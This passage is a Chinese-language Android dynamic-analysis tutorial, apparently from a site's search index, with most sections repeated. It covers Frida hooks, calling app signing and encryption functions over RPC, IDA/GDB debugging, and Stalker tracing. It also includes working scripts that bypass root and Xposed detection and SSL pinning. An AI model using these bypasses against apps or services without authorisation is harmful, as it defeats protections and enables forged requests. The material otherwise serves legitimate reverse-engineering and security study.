{ var SignUtils = Java.use(\"com.example.SignUtils\"); var HashMap = Java.use(\"java.util.HashMap\"); // Create Parameter var params = HashMap.$new(); params.put(\"user\", \"testuser\"); params.put(\"timestamp\", String(Date.now())); // Actively call static method var sign = SignUtils.generateSign(params); console.log(\"[*] GenerateSignature:\", sign); }); ","date":"2025-02-26","objectID":"/reverse_engineering/android/01-recipes/analysis/dynamic_analysis_deep_dive/:4:3","tags":["Native层","签名验证","逆向分析","Frida","SSL Pinning","DEX"],"title":"使用动态分析验证和探索 Android App 的运行时行为","uri":"/reverse_engineering/android/01-recipes/analysis/dynamic_analysis_deep_dive/#第-3-步主动调用函数15-分钟"},{"categories":null,"collections":null,"content":"第 3 步：主动调用函数（15 分钟） 3.1 创建新实例 Java.perform(function () { var CryptoUtil = Java.use(\"com.example.CryptoUtil\"); // Constructor accessible try { var instance = CryptoUtil.$new(); // Call no-arg constructor var result = instance.encrypt(\"Hello World\", \"mykey\"); console.log(\"[*] MainCallResult:\", result); } catch (e) { console.log(\"[-] No way to create instance:\", e); } }); 3.2 使用已有实例 Java.perform(function () { Java.choose(\"com.example.CryptoUtil\", { onMatch: function (instance) { console.log(\"[+] Instance:\", instance); // Actively call var encrypted = instance.encrypt(\"test data\"); console.log(\"[*] EncryptResult:\", encrypted); var decrypted = instance.decrypt(encrypted); console.log(\"[*] DecryptResult:\", decrypted); }, onComplete: function () { console.log(\"[*] Search completed\"); }, }); }); 3.3 调用静态方法 Java.perform(function () { var SignUtils = Java.use(\"com.example.SignUtils\"); var HashMap = Java.use(\"java.util.HashMap\"); // Create Parameter var params = HashMap.$new(); params.put(\"user\", \"testuser\"); params.put(\"timestamp\", String(Date.now())); // Actively call static method var sign = SignUtils.generateSign(params); console.log(\"[*] GenerateSignature:\", sign); }); ","date":"2025-02-26","objectID":"/reverse_engineering/android/01-recipes/analysis/dynamic_analysis_deep_dive/:4:3","tags":["Native层","签名验证","逆向分析","Frida","SSL Pinning","DEX"],"title":"使用动态分析验证和探索 Android App 的运行时行为","uri":"/reverse_engineering/android/01-recipes/analysis/dynamic_analysis_deep_dive/#31-创建新实例"},{"categories":null,"collections":null,"content":"第 3 步：主动调用函数（15 分钟） 3.1 创建新实例 Java.perform(function () { var CryptoUtil = Java.use(\"com.example.CryptoUtil\"); // Constructor accessible try { var instance = CryptoUtil.$new(); // Call no-arg constructor var result = instance.encrypt(\"Hello World\", \"mykey\"); console.log(\"[*] MainCallResult:\", result); } catch (e) { console.log(\"[-] No way to create instance:\", e); } }); 3.2 使用已有实例 Java.perform(function () { Java.choose(\"com.example.CryptoUtil\", { onMatch: function (instance) { console.log(\"[+] Instance:\", instance); // Actively call var encrypted = instance.encrypt(\"test data\"); console.log(\"[*] EncryptResult:\", encrypted); var decrypted = instance.decrypt(encrypted); console.log(\"[*] DecryptResult:\", decrypted); }, onComplete: function () { console.log(\"[*] Search completed\"); }, }); }); 3.3 调用静态方法 Java.perform(function () { var SignUtils = Java.use(\"com.example.SignUtils\"); var HashMap = Java.use(\"java.util.HashMap\"); // Create Parameter var params = HashMap.$new(); params.put(\"user\", \"testuser\"); params.put(\"timestamp\", String(Date.now())); // Actively call static method var sign = SignUtils.generateSign(params); console.log(\"[*] GenerateSignature:\", sign); }); ","date":"2025-02-26","objectID":"/reverse_engineering/android/01-recipes/analysis/dynamic_analysis_deep_dive/:4:3","tags":["Native层","签名验证","逆向分析","Frida","SSL Pinning","DEX"],"title":"使用动态分析验证和探索 Android App 的运行时行为","uri":"/reverse_engineering/android/01-recipes/analysis/dynamic_analysis_deep_dive/#32-使用已有实例"},{"categories":null,"collections":null,"content":"第 3 步：主动调用函数（15 分钟） 3.1 创建新实例 Java.perform(function () { var CryptoUtil = Java.use(\"com.example.CryptoUtil\"); // Constructor accessible try { var instance = CryptoUtil.$new(); // Call no-arg constructor var result = instance.encrypt(\"Hello World\", \"mykey\"); console.log(\"[*] MainCallResult:\", result); } catch (e) { console.log(\"[-] No way to create instance:\", e); } }); 3.2 使用已有实例 Java.perform(function () { Java.choose(\"com.example.CryptoUtil\", { onMatch: function (instance) { console.log(\"[+] Instance:\", instance); // Actively call var encrypted = instance.encrypt(\"test data\"); console.log(\"[*] EncryptResult:\", encrypted); var decrypted = instance.decrypt(encrypted); console.log(\"[*] DecryptResult:\", decrypted); }, onComplete: function () { console.log(\"[*] Search completed\"); }, }); }); 3.3 调用静态方法 Java.perform(function () { var SignUtils = Java.use(\"com.example.SignUtils\"); var HashMap = Java.use(\"java.util.HashMap\"); // Create Parameter var params = HashMap.$new(); params.put(\"user\", \"testuser\"); params.put(\"timestamp\", String(Date.now())); // Actively call static method var sign = SignUtils.generateSign(params); console.log(\"[*] GenerateSignature:\", sign); }); ","date":"2025-02-26","objectID":"/reverse_engineering/android/01-recipes/analysis/dynamic_analysis_deep_dive/:4:3","tags":["Native层","签名验证","逆向分析","Frida","SSL Pinning","DEX"],"title":"使用动态分析验证和探索 Android App 的运行时行为","uri":"/reverse_engineering/android/01-recipes/analysis/dynamic_analysis_deep_dive/#33-调用静态方法"},{"categories":null,"collections":null,"content":"第 4 步：绕过安全检测（15 分钟） 4.1 绕过 Root 检测 Java.perform(function () { var RootDetector = Java.use(\"com.example.security.RootDetector\"); RootDetector.isRooted.implementation = function () { console.log(\"[*] Root Detection is Bypassed\"); return false; // Force return false (not rooted) }; RootDetector.isXposedInstalled.implementation = function () { console.log(\"[*] Xposed Detection is Bypassed\"); return false; }; }); 4.2 绕过 SSL Pinning Java.perform(function () { // Hook OkHttp 3 try { var CertificatePinner = Java.use(\"okhttp3.CertificatePinner\"); CertificatePinner.check.overload( \"java.lang.String\", \"java.util.List\" ).implementation = function (hostname, peerCertificates) { console.log(\"[*] Bypass OkHttp3 SSL Pinning:\", hostname); return; // Return directly, skip validation }; console.log(\"[+] OkHttp3 SSL Pinning Bypassed\"); } catch (e) { console.log(\"[-] OkHttp3 not found\"); } // Hook TrustManager try { var X509TrustManager = Java.use(\"javax.net.ssl.X509TrustManager\"); var SSLContext = Java.use(\"javax.net.ssl.SSLContext\"); var TrustManager = Java.registerClass({ name: \"com.example.TrustManager\", implements: [X509TrustManager], methods: { checkClientTrusted: function (chain, authType) {}, checkServerTrusted: function (chain, authType) {}, getAcceptedIssuers: function () { return []; }, }, }); var TrustManagers = [TrustManager.$new()]; var SSLContext_init = SSLContext.init.overload( \"[Ljavax.net.ssl.KeyManager;\", \"[Ljavax.net.ssl.TrustManager;\", \"java.security.SecureRandom\" ); SSLContext_init.implementation = function ( keyManager, trustManager, secureRandom ) { console.log(\"[*] Replacing TrustManager\"); SSLContext_init.call(this, keyManager, TrustManagers, secureRandom); }; console.log(\"[+] TrustManager Bypassed\"); } catch (e) { console.log(\"[-] TrustManager bypass failed:\", e); } console.log(\"[*] SSL Pinning Bypass Config Completed\"); }); ","date":"2025-02-26","objectID":"/reverse_engineering/android/01-recipes/analysis/dynamic_analysis_deep_dive/:4:4","tags":["Native层","签名验证","逆向分析","Frida","SSL Pinning","DEX"],"title":"使用动态分析验证和探索 Android App 的运行时行为","uri":"/reverse_engineering/android/01-recipes/analysis/dynamic_analysis_deep_dive/#第-4-步绕过安全检测15-分钟"},{"categories":null,"collections":null,"content":"第 4 步：绕过安全检测（15 分钟） 4.1 绕过 Root 检测 Java.perform(function () { var RootDetector = Java.use(\"com.example.security.RootDetector\"); RootDetector.isRooted.implementation = function () { console.log(\"[*] Root Detection is Bypassed\"); return false; // Force return false (not rooted) }; RootDetector.isXposedInstalled.implementation = function () { console.log(\"[*] Xposed Detection is Bypassed\"); return false; }; }); 4.2 绕过 SSL Pinning Java.perform(function () { // Hook OkHttp 3 try { var CertificatePinner = Java.use(\"okhttp3.CertificatePinner\"); CertificatePinner.check.overload( \"java.lang.String\", \"java.util.List\" ).implementation = function (hostname, peerCertificates) { console.log(\"[*] Bypass OkHttp3 SSL Pinning:\", hostname); return; // Return directly, skip validation }; console.log(\"[+] OkHttp3 SSL Pinning Bypassed\"); } catch (e) { console.log(\"[-] OkHttp3 not found\"); } // Hook TrustManager try { var X509TrustManager = Java.use(\"javax.net.ssl.X509TrustManager\"); var SSLContext = Java.use(\"javax.net.ssl.SSLContext\"); var TrustManager = Java.registerClass({ name: \"com.example.TrustManager\", implements: [X509TrustManager], methods: { checkClientTrusted: function (chain, authType) {}, checkServerTrusted: function (chain, authType) {}, getAcceptedIssuers: function () { return []; }, }, }); var TrustManagers = [TrustManager.$new()]; var SSLContext_init = SSLContext.init.overload( \"[Ljavax.net.ssl.KeyManager;\", \"[Ljavax.net.ssl.TrustManager;\", \"java.security.SecureRandom\" ); SSLContext_init.implementation = function ( keyManager, trustManager, secureRandom ) { console.log(\"[*] Replacing TrustManager\"); SSLContext_init.call(this, keyManager, TrustManagers, secureRandom); }; console.log(\"[+] TrustManager Bypassed\"); } catch (e) { console.log(\"[-] TrustManager bypass failed:\", e); } console.log(\"[*] SSL Pinning Bypass Config Completed\"); }); ","date":"2025-02-26","objectID":"/reverse_engineering/android/01-recipes/analysis/dynamic_analysis_deep_dive/:4:4","tags":["Native层","签名验证","逆向分析","Frida","SSL Pinning","DEX"],"title":"使用动态分析验证和探索 Android App 的运行时行为","uri":"/reverse_engineering/android/01-recipes/analysis/dynamic_analysis_deep_dive/#41-绕过-root-检测"},{"categories":null,"collections":null,"content":"第 4 步：绕过安全检测（15 分钟） 4.1 绕过 Root 检测 Java.perform(function () { var RootDetector = Java.use(\"com.example.security.RootDetector\"); RootDetector.isRooted.implementation = function () { console.log(\"[*] Root Detection is Bypassed\"); return false; // Force return false (not rooted) }; RootDetector.isXposedInstalled.implementation = function () { console.log(\"[*] Xposed Detection is Bypassed\"); return false; }; }); 4.2 绕过 SSL Pinning Java.perform(function () { // Hook OkHttp 3 try { var CertificatePinner = Java.use(\"okhttp3.CertificatePinner\"); CertificatePinner.check.overload( \"java.lang.String\", \"java.util.List\" ).implementation = function (hostname, peerCertificates) { console.log(\"[*] Bypass OkHttp3 SSL Pinning:\", hostname); return; // Return directly, skip validation }; console.log(\"[+] OkHttp3 SSL Pinning Bypassed\"); } catch (e) { console.log(\"[-] OkHttp3 not found\"); } // Hook TrustManager try { var X509TrustManager = Java.use(\"javax.net.ssl.X509TrustManager\"); var SSLContext = Java.use(\"javax.net.ssl.SSLContext\"); var TrustManager = Java.registerClass({ name: \"com.example.TrustManager\", implements: [X509TrustManager], methods: { checkClientTrusted: function (chain, authType) {}, checkServerTrusted: function (chain, authType) {}, getAcceptedIssuers: function () { return []; }, }, }); var TrustManagers = [TrustManager.$new()]; var SSLContext_init = SSLContext.init.overload( \"[Ljavax.net.ssl.KeyManager;\", \"[Ljavax.net.ssl.TrustManager;\", \"java.security.SecureRandom\" ); SSLContext_init.implementation = function ( keyManager, trustManager, secureRandom ) { console.log(\"[*] Replacing TrustManager\"); SSLContext_init.call(this, keyManager, TrustManagers, secureRandom); }; console.log(\"[+] TrustManager Bypassed\"); } catch (e) { console.log(\"[-] TrustManager bypass failed:\", e); } console.log(\"[*] SSL Pinning Bypass Config Completed\"); }); ","date":"2025-02-26","objectID":"/reverse_engineering/android/01-recipes/analysis/dynamic_analysis_deep_dive/:4:4","tags":["Native层","签名验证","逆向分析","Frida","SSL Pinning","DEX"],"title":"使用动态分析验证和探索 Android App 的运行时行为","uri":"/reverse_engineering/android/01-recipes/analysis/dynamic_analysis_deep_dive/#42-绕过-ssl-pinning"},{"categories":null,"collections":null,"content":"第 5 步：使用 RPC 远程调用（20 分钟） 5.1 定义 RPC 函数 rpc_example.js： rpc.exports = { // Export Function: Generate Signature generateSign: function (params) { var result = null; Java.perform(function () { var SignUtils = Java.use(\"com.example.SignUtils\"); var HashMap = Java.use(\"java.util.HashMap\"); var map = HashMap.$new(); for (var key in params) { map.put(key, params[key]); } result = SignUtils.generateSign(map); }); return result; }, // Export Function: Encrypt Data encrypt: function (plaintext, key) { var result = null; Java.perform(function () { var CryptoUtil = Java.use(\"com.example.CryptoUtil\"); result = CryptoUtil.encrypt(plaintext, key); }); return result; }, }; 5.2 Python 调用 RPC rpc_caller.py： import frida import sys import time def on_message(message, data): print(f\"[*] Message: {message}\") # Connect to device device = frida.get_usb_device() # Attach to process pid = device.spawn(['com.example.app']) session = device.attach(pid) # Load Script with open('rpc_example.js', 'r') as f: script = session.create_script(f.read()) script.on('message', on_message) script.load() device.resume(pid) # Wait for Script Initialize time.sleep(2) # Call RPC Function params = { 'user': 'testuser', 'timestamp': '1701234567', 'action': 'login' } sign = script.exports_sync.generate_sign(params) print(f\"[+] Generated Signature: {sign}\") encrypted = script.exports_sync.encrypt('Hello World', 'mykey') print(f\"[+] Encrypt Result: {encrypted}\") # Keep running sys.stdin.read() ","date":"2025-02-26","objectID":"/reverse_engineering/android/01-recipes/analysis/dynamic_analysis_deep_dive/:4:5","tags":["Native层","签名验证","逆向分析","Frida","SSL Pinning","DEX"],"title":"使用动态分析验证和探索 Android App 的运行时行为","uri":"/reverse_engineering/android/01-recipes/analysis/dynamic_analysis_deep_dive/#第-5-步使用-rpc-远程调用20-分钟"},{"categories":null,"collections":null,"content":"第 5 步：使用 RPC 远程调用（20 分钟） 5.1 定义 RPC 函数 rpc_example.js： rpc.exports = { // Export Function: Generate Signature generateSign: function (params) { var result = null; Java.perform(function () { var SignUtils = Java.use(\"com.example.SignUtils\"); var HashMap = Java.use(\"java.util.HashMap\"); var map = HashMap.$new(); for (var key in params) { map.put(key, params[key]); } result = SignUtils.generateSign(map); }); return result; }, // Export Function: Encrypt Data encrypt: function (plaintext, key) { var result = null; Java.perform(function () { var CryptoUtil = Java.use(\"com.example.CryptoUtil\"); result = CryptoUtil.encrypt(plaintext, key); }); return result; }, }; 5.2 Python 调用 RPC rpc_caller.py： import frida import sys import time def on_message(message, data): print(f\"[*] Message: {message}\") # Connect to device device = frida.get_usb_device() # Attach to process pid = device.spawn(['com.example.app']) session = device.attach(pid) # Load Script with open('rpc_example.js', 'r') as f: script = session.create_script(f.read()) script.on('message', on_message) script.load() device.resume(pid) # Wait for Script Initialize time.sleep(2) # Call RPC Function params = { 'user': 'testuser', 'timestamp': '1701234567', 'action': 'login' } sign = script.exports_sync.generate_sign(params) print(f\"[+] Generated Signature: {sign}\") encrypted = script.exports_sync.encrypt('Hello World', 'mykey') print(f\"[+] Encrypt Result: {encrypted}\") # Keep running sys.stdin.read() ","date":"2025-02-26","objectID":"/reverse_engineering/android/01-recipes/analysis/dynamic_analysis_deep_dive/:4:5","tags":["Native层","签名验证","逆向分析","Frida","SSL Pinning","DEX"],"title":"使用动态分析验证和探索 Android App 的运行时行为","uri":"/reverse_engineering/android/01-recipes/analysis/dynamic_analysis_deep_dive/#51-定义-rpc-函数"},{"categories":null,"collections":null,"content":"第 5 步：使用 RPC 远程调用（20 分钟） 5.1 定义 RPC 函数 rpc_example.js： rpc.exports = { // Export Function: Generate Signature generateSign: function (params) { var result = null; Java.perform(function () { var SignUtils = Java.use(\"com.example.SignUtils\"); var HashMap = Java.use(\"java.util.HashMap\"); var map = HashMap.$new(); for (var key in params) { map.put(key, params[key]); } result = SignUtils.generateSign(map); }); return result; }, // Export Function: Encrypt Data encrypt: function (plaintext, key) { var result = null; Java.perform(function () { var CryptoUtil = Java.use(\"com.example.CryptoUtil\"); result = CryptoUtil.encrypt(plaintext, key); }); return result; }, }; 5.2 Python 调用 RPC rpc_caller.py： import frida import sys import time def on_message(message, data): print(f\"[*] Message: {message}\") # Connect to device device = frida.get_usb_device() # Attach to process pid = device.spawn(['com.example.app']) session = device.attach(pid) # Load Script with open('rpc_example.js', 'r') as f: script = session.create_script(f.read()) script.on('message', on_message) script.load() device.resume(pid) # Wait for Script Initialize time.sleep(2) # Call RPC Function params = { 'user': 'testuser', 'timestamp': '1701234567', 'action': 'login' } sign = script.exports_sync.generate_sign(params) print(f\"[+] Generated Signature: {sign}\") encrypted = script.exports_sync.encrypt('Hello World', 'mykey') print(f\"[+] Encrypt Result: {encrypted}\") # Keep running sys.stdin.read() ","date":"2025-02-26","objectID":"/reverse_engineering/android/01-recipes/analysis/dynamic_analysis_deep_dive/:4:5","tags":["Native层","签名验证","逆向分析","Frida","SSL Pinning","DEX"],"title":"使用动态分析验证和探索 Android App 的运行时行为","uri":"/reverse_engineering/android/01-recipes/analysis/dynamic_analysis_deep_dive/#52-python-调用-rpc"},{"categories":null,"collections":null,"content":"第 6 步：使用调试器进行深度分析（20 分钟） 6.1 IDA Pro 远程调试 Native 代码 准备： # 1. Push android_server to device adb push android_server64 /data/local/tmp/ adb shell chmod 755 /data/local/tmp/android_server64 # 2. Run with root permission adb shell su -c \"/data/local/tmp/android_server64\" # 3. Port forward adb forward tcp:23946 tcp:23946 连接步骤： IDA Pro 中选择 Debugger → Remote ARM Linux/Android debugger 配置连接参数： Hostname: localhost Port: 23946 Debugger → Attach to Process → 选择目标 App 在目标函数处设置断点（F2） 触发 App 中的操作，断点命中 6.2 使用 GDB 调试 # Attach to process adb shell su ps | grep \u003capp_name\u003e # 找到 PID，如 12345 gdbserver :5039 --attach 12345 在主机上连接： arm-linux-androideabi-gdb # In GDB (gdb) target remote :5039 (gdb) continue 6.3 调试器快捷键 IDA Pro： 快捷键 功能 F2 设置/取消断点 F9 运行/继续 F7 单步进入（Step Into） F8 单步跳过（Step Over） Ctrl+F7 执行到返回（Run to Return） GDB： 命令 功能 break \u003caddr\u003e 设置断点 continue 继续执行 step 单步进入 next 单步跳过 finish 执行到返回 info registers 查看寄存器 x/10x $sp 查看栈内容 ","date":"2025-02-26","objectID":"/reverse_engineering/android/01-recipes/analysis/dynamic_analysis_deep_dive/:4:6","tags":["Native层","签名验证","逆向分析","Frida","SSL Pinning","DEX"],"title":"使用动态分析验证和探索 Android App 的运行时行为","uri":"/reverse_engineering/android/01-recipes/analysis/dynamic_analysis_deep_dive/#第-6-步使用调试器进行深度分析20-分钟"},{"categories":null,"collections":null,"content":"第 6 步：使用调试器进行深度分析（20 分钟） 6.1 IDA Pro 远程调试 Native 代码 准备： # 1. Push android_server to device adb push android_server64 /data/local/tmp/ adb shell chmod 755 /data/local/tmp/android_server64 # 2. Run with root permission adb shell su -c \"/data/local/tmp/android_server64\" # 3. Port forward adb forward tcp:23946 tcp:23946 连接步骤： IDA Pro 中选择 Debugger → Remote ARM Linux/Android debugger 配置连接参数： Hostname: localhost Port: 23946 Debugger → Attach to Process → 选择目标 App 在目标函数处设置断点（F2） 触发 App 中的操作，断点命中 6.2 使用 GDB 调试 # Attach to process adb shell su ps | grep # 找到 PID，如 12345 gdbserver :5039 --attach 12345 在主机上连接： arm-linux-androideabi-gdb # In GDB (gdb) target remote :5039 (gdb) continue 6.3 调试器快捷键 IDA Pro： 快捷键 功能 F2 设置/取消断点 F9 运行/继续 F7 单步进入（Step Into） F8 单步跳过（Step Over） Ctrl+F7 执行到返回（Run to Return） GDB： 命令 功能 break 设置断点 continue 继续执行 step 单步进入 next 单步跳过 finish 执行到返回 info registers 查看寄存器 x/10x $sp 查看栈内容 ","date":"2025-02-26","objectID":"/reverse_engineering/android/01-recipes/analysis/dynamic_analysis_deep_dive/:4:6","tags":["Native层","签名验证","逆向分析","Frida","SSL Pinning","DEX"],"title":"使用动态分析验证和探索 Android App 的运行时行为","uri":"/reverse_engineering/android/01-recipes/analysis/dynamic_analysis_deep_dive/#61-ida-pro-远程调试-native-代码"},{"categories":null,"collections":null,"content":"第 6 步：使用调试器进行深度分析（20 分钟） 6.1 IDA Pro 远程调试 Native 代码 准备： # 1. Push android_server to device adb push android_server64 /data/local/tmp/ adb shell chmod 755 /data/local/tmp/android_server64 # 2. Run with root permission adb shell su -c \"/data/local/tmp/android_server64\" # 3. Port forward adb forward tcp:23946 tcp:23946 连接步骤： IDA Pro 中选择 Debugger → Remote ARM Linux/Android debugger 配置连接参数： Hostname: localhost Port: 23946 Debugger → Attach to Process → 选择目标 App 在目标函数处设置断点（F2） 触发 App 中的操作，断点命中 6.2 使用 GDB 调试 # Attach to process adb shell su ps | grep # 找到 PID，如 12345 gdbserver :5039 --attach 12345 在主机上连接： arm-linux-androideabi-gdb # In GDB (gdb) target remote :5039 (gdb) continue 6.3 调试器快捷键 IDA Pro： 快捷键 功能 F2 设置/取消断点 F9 运行/继续 F7 单步进入（Step Into） F8 单步跳过（Step Over） Ctrl+F7 执行到返回（Run to Return） GDB： 命令 功能 break 设置断点 continue 继续执行 step 单步进入 next 单步跳过 finish 执行到返回 info registers 查看寄存器 x/10x $sp 查看栈内容 ","date":"2025-02-26","objectID":"/reverse_engineering/android/01-recipes/analysis/dynamic_analysis_deep_dive/:4:6","tags":["Native层","签名验证","逆向分析","Frida","SSL Pinning","DEX"],"title":"使用动态分析验证和探索 Android App 的运行时行为","uri":"/reverse_engineering/android/01-recipes/analysis/dynamic_analysis_deep_dive/#62-使用-gdb-调试"},{"categories":null,"collections":null,"content":"第 6 步：使用调试器进行深度分析（20 分钟） 6.1 IDA Pro 远程调试 Native 代码 准备： # 1. Push android_server to device adb push android_server64 /data/local/tmp/ adb shell chmod 755 /data/local/tmp/android_server64 # 2. Run with root permission adb shell su -c \"/data/local/tmp/android_server64\" # 3. Port forward adb forward tcp:23946 tcp:23946 连接步骤： IDA Pro 中选择 Debugger → Remote ARM Linux/Android debugger 配置连接参数： Hostname: localhost Port: 23946 Debugger → Attach to Process → 选择目标 App 在目标函数处设置断点（F2） 触发 App 中的操作，断点命中 6.2 使用 GDB 调试 # Attach to process adb shell su ps | grep # 找到 PID，如 12345 gdbserver :5039 --attach 12345 在主机上连接： arm-linux-androideabi-gdb # In GDB (gdb) target remote :5039 (gdb) continue 6.3 调试器快捷键 IDA Pro： 快捷键 功能 F2 设置/取消断点 F9 运行/继续 F7 单步进入（Step Into） F8 单步跳过（Step Over） Ctrl+F7 执行到返回（Run to Return） GDB： 命令 功能 break 设置断点 continue 继续执行 step 单步进入 next 单步跳过 finish 执行到返回 info registers 查看寄存器 x/10x $sp 查看栈内容 ","date":"2025-02-26","objectID":"/reverse_engineering/android/01-recipes/analysis/dynamic_analysis_deep_dive/:4:6","tags":["Native层","签名验证","逆向分析","Frida","SSL Pinning","DEX"],"title":"使用动态分析验证和探索 Android App 的运行时行为","uri":"/reverse_engineering/android/01-recipes/analysis/dynamic_analysis_deep_dive/#63-调试器快捷键"},{"categories":null,"collections":null,"content":"第 7 步：使用 Stalker 追踪代码覆盖率（15 分钟） Frida Stalker 可以记录线程执行的所有指令。 7.1 基础 Stalker 示例 // Stalker trace function execution Interceptor.attach( Module.findExportByName(\"libnative.so\", \"Java_com_example_Native_encrypt\"), { onEnter: function (args) { console.log(\"[*] Start Tracking...\"); Stalker.follow(Process.getCurrentThreadId(), { events: { call: true, // Record Function Calls ret: false, exec: false, }, onReceive: function (events) { console.log(\"[*] Captured\", events.length, \"events\"); // Parse events var calls = Stalker.parse(events, { annotate: true, stringify: false, }); calls.forEach(function (call) { console.log(\" Call:\", call); }); }, }); }, onLeave: function (retval) { Stalker.unfollow(Process.getCurrentThreadId()); Stalker.flush(); console.log(\"[*] Tracking Ended\"); }, } ); 7.2 只追踪特定模块 var base = Module.findBaseAddress(\"libnative.so\"); var size = Process.findModuleByName(\"libnative.so\").size; Stalker.follow(Process.getCurrentThreadId(), { transform: function (iterator) { var instruction = iterator.next(); do { // Only record instructions within libnative.so if ( instruction.address.compare(base) \u003e= 0 \u0026\u0026 instruction.address.compare(base.add(size)) \u003c 0 ) { iterator.keep(); } instruction = iterator.next(); } while (instruction !== null); }, }); ","date":"2025-02-26","objectID":"/reverse_engineering/android/01-recipes/analysis/dynamic_analysis_deep_dive/:4:7","tags":["Native层","签名验证","逆向分析","Frida","SSL Pinning","DEX"],"title":"使用动态分析验证和探索 Android App 的运行时行为","uri":"/reverse_engineering/android/01-recipes/analysis/dynamic_analysis_deep_dive/#第-7-步使用-stalker-追踪代码覆盖率15-分钟"},{"categories":null,"collections":null,"content":"第 7 步：使用 Stalker 追踪代码覆盖率（15 分钟） Frida Stalker 可以记录线程执行的所有指令。 7.1 基础 Stalker 示例 // Stalker trace function execution Interceptor.attach( Module.findExportByName(\"libnative.so\", \"Java_com_example_Native_encrypt\"), { onEnter: function (args) { console.log(\"[*] Start Tracking...\"); Stalker.follow(Process.getCurrentThreadId(), { events: { call: true, // Record Function Calls ret: false, exec: false, }, onReceive: function (events) { console.log(\"[*] Captured\", events.length, \"events\"); // Parse events var calls = Stalker.parse(events, { annotate: true, stringify: false, }); calls.forEach(function (call) { console.log(\" Call:\", call); }); }, }); }, onLeave: function (retval) { Stalker.unfollow(Process.getCurrentThreadId()); Stalker.flush(); console.log(\"[*] Tracking Ended\"); }, } ); 7.2 只追踪特定模块 var base = Module.findBaseAddress(\"libnative.so\"); var size = Process.findModuleByName(\"libnative.so\").size; Stalker.follow(Process.getCurrentThreadId(), { transform: function (iterator) { var instruction = iterator.next(); do { // Only record instructions within libnative.so if ( instruction.address.compare(base) \u003e= 0 \u0026\u0026 instruction.address.compare(base.add(size)) \u003c 0 ) { iterator.keep(); } instruction = iterator.next(); } while (instruction !== null); }, }); ","date":"2025-02-26","objectID":"/reverse_engineering/android/01-recipes/analysis/dynamic_analysis_deep_dive/:4:7","tags":["Native层","签名验证","逆向分析","Frida","SSL Pinning","DEX"],"title":"使用动态分析验证和探索 Android App 的运行时行为","uri":"/reverse_engineering/android/01-recipes/analysis/dynamic_analysis_deep_dive/#71-基础-stalker-示例"},{"categories":null,"collections":null,"content":"第 7 步：使用 Stalker 追踪代码覆盖率（15 分钟） Frida Stalker 可以记录线程执行的所有指令。 7.1 基础 Stalker 示例 // Stalker trace function execution Interceptor.attach( Module.findExportByName(\"libnative.so\", \"Java_com_example_Native_encrypt\"), { onEnter: function (args) { console.log(\"[*] Start Tracking...\"); Stalker.follow(Process.getCurrentThreadId(), { events: { call: true, // Record Function Calls ret: false, exec: false, }, onReceive: function (events) { console.log(\"[*] Captured\", events.length, \"events\"); // Parse events var calls = Stalker.parse(events, { annotate: true, stringify: false, }); calls.forEach(function (call) { console.log(\" Call:\", call); }); }, }); }, onLeave: function (retval) { Stalker.unfollow(Process.getCurrentThreadId()); Stalker.flush(); console.log(\"[*] Tracking Ended\"); }, } ); 7.2 只追踪特定模块 var base = Module.findBaseAddress(\"libnative.so\"); var size = Process.findModuleByName(\"libnative.so\").size; Stalker.follow(Process.getCurrentThreadId(), { transform: function (iterator) { var instruction = iterator.next(); do { // Only record instructions within libnative.so if ( instruction.address.compare(base) \u003e= 0 \u0026\u0026 instruction.address.compare(base.add(size)) \u003c 0 ) { iterator.keep(); } instruction = iterator.next(); } while (instruction !== null); }, }); ","date":"2025-02-26","objectID":"/reverse_engineering/android/01-recipes/analysis/dynamic_analysis_deep_dive/:4:7","tags":["Native层","签名验证","逆向分析","Frida","SSL Pinning","DEX"],"title":"使用动态分析验证和探索 Android App 的运行时行为","uri":"/reverse_engineering/android/01-recipes/analysis/dynamic_analysis_deep_dive/#72-只追踪特定模块"},{"categories":null,"collections":null,"content":"工具对比总结 工具 最佳场景 优点 缺点 Frida Hook 快速获取 I/O 不中断流程 只看单点 修改返回值 易于自动化 不知道细节 调试器 理解算法逻辑 完全控制 速度慢 (IDA/GDB) 单步跟踪 看所有变量 需要手动操作 Stalker 代码覆盖率 全自动 性能开销大 追踪执行路径 无需断点 输出量巨大 ","date":"2025-02-26","objectID":"/reverse_engineering/android/01-recipes/analysis/dynamic_analysis_deep_dive/:4:8","tags":["Native层","签名验证","逆向分析","Frida","SSL Pinning","DEX"],"title":"使用动态分析验证和探索 Android App 的运行时行为","uri":"/reverse_engineering/android/01-recipes/analysis/dynamic_analysis_deep_dive/#工具对比总结"},{"categories":null,"collections":null,"content":"RPC 调用流程 Python 脚本 Frida 脚本 | | | Send RPC Request | | ---------------------------\u003e | | | Execute Java.perform() | | | | Call App Function | | | \u003c--------------------------- | | Receive Return Value | Return Result | | | Process Data | Completed ","date":"2025-02-26","objectID":"/reverse_engineering/android/01-recipes/analysis/dynamic_analysis_deep_dive/:4:9","tags":["Native层","签名验证","逆向分析","Frida","SSL Pinning","DEX"],"title":"使用动态分析验证和探索 Android App 的运行时行为","uri":"/reverse_engineering/android/01-recipes/analysis/dynamic_analysis_deep_dive/#rpc-调用流程"},{"categories":null,"collections":null,"content":"常见问题 ","date":"2025-02-26","objectID":"/reverse_engineering/android/01-recipes/analysis/dynamic_analysis_deep_dive/:5:0","tags":["Native层","签名验证","逆向分析","Frida","SSL Pinning","DEX"],"title":"使用动态分析验证和探索 Android App 的运行时行为","uri":"/reverse_engineering/android/01-recipes/analysis/dynamic_analysis_deep_dive/#常见问题"},{"categories":null,"collections":null,"content":"问题 1: Hook 没有触发 检查清单： 确认类/方法名正确 // List all classes Java.enumerateLoadedClasses({ onMatch: function (className) { if (className.includes(\"SignUtils\")) { console.log(className); } }, onComplete: function () {}, }); 确认方法被调用 在 App 中触发相关操作 检查是否有其他代码路径 检查混淆 // If class name is obfuscated as a.b.c, use obfuscated name var SignUtils = Java.use(\"a.b.c\"); ","date":"2025-02-26","objectID":"/reverse_engineering/android/01-recipes/analysis/dynamic_analysis_deep_dive/:5:1","tags":["Native层","签名验证","逆向分析","Frida","SSL Pinning","DEX"],"title":"使用动态分析验证和探索 Android App 的运行时行为","uri":"/reverse_engineering/android/01-recipes/analysis/dynamic_analysis_deep_dive/#问题-1-hook-没有触发"},{"categories":null,"collections":null,"content":"问题 2: RPC 调用超时 症状：script.exports_sync.func() 一直等待 解决： # Use async call def on_rpc_message(result, error): if error: print(f\"[-] Error: {error}\") else: print(f\"[+] Result: {result}\") script.exports.func(params, on_rpc_message) # Or add timeout result = script.exports_sync.func(params, timeout=10) 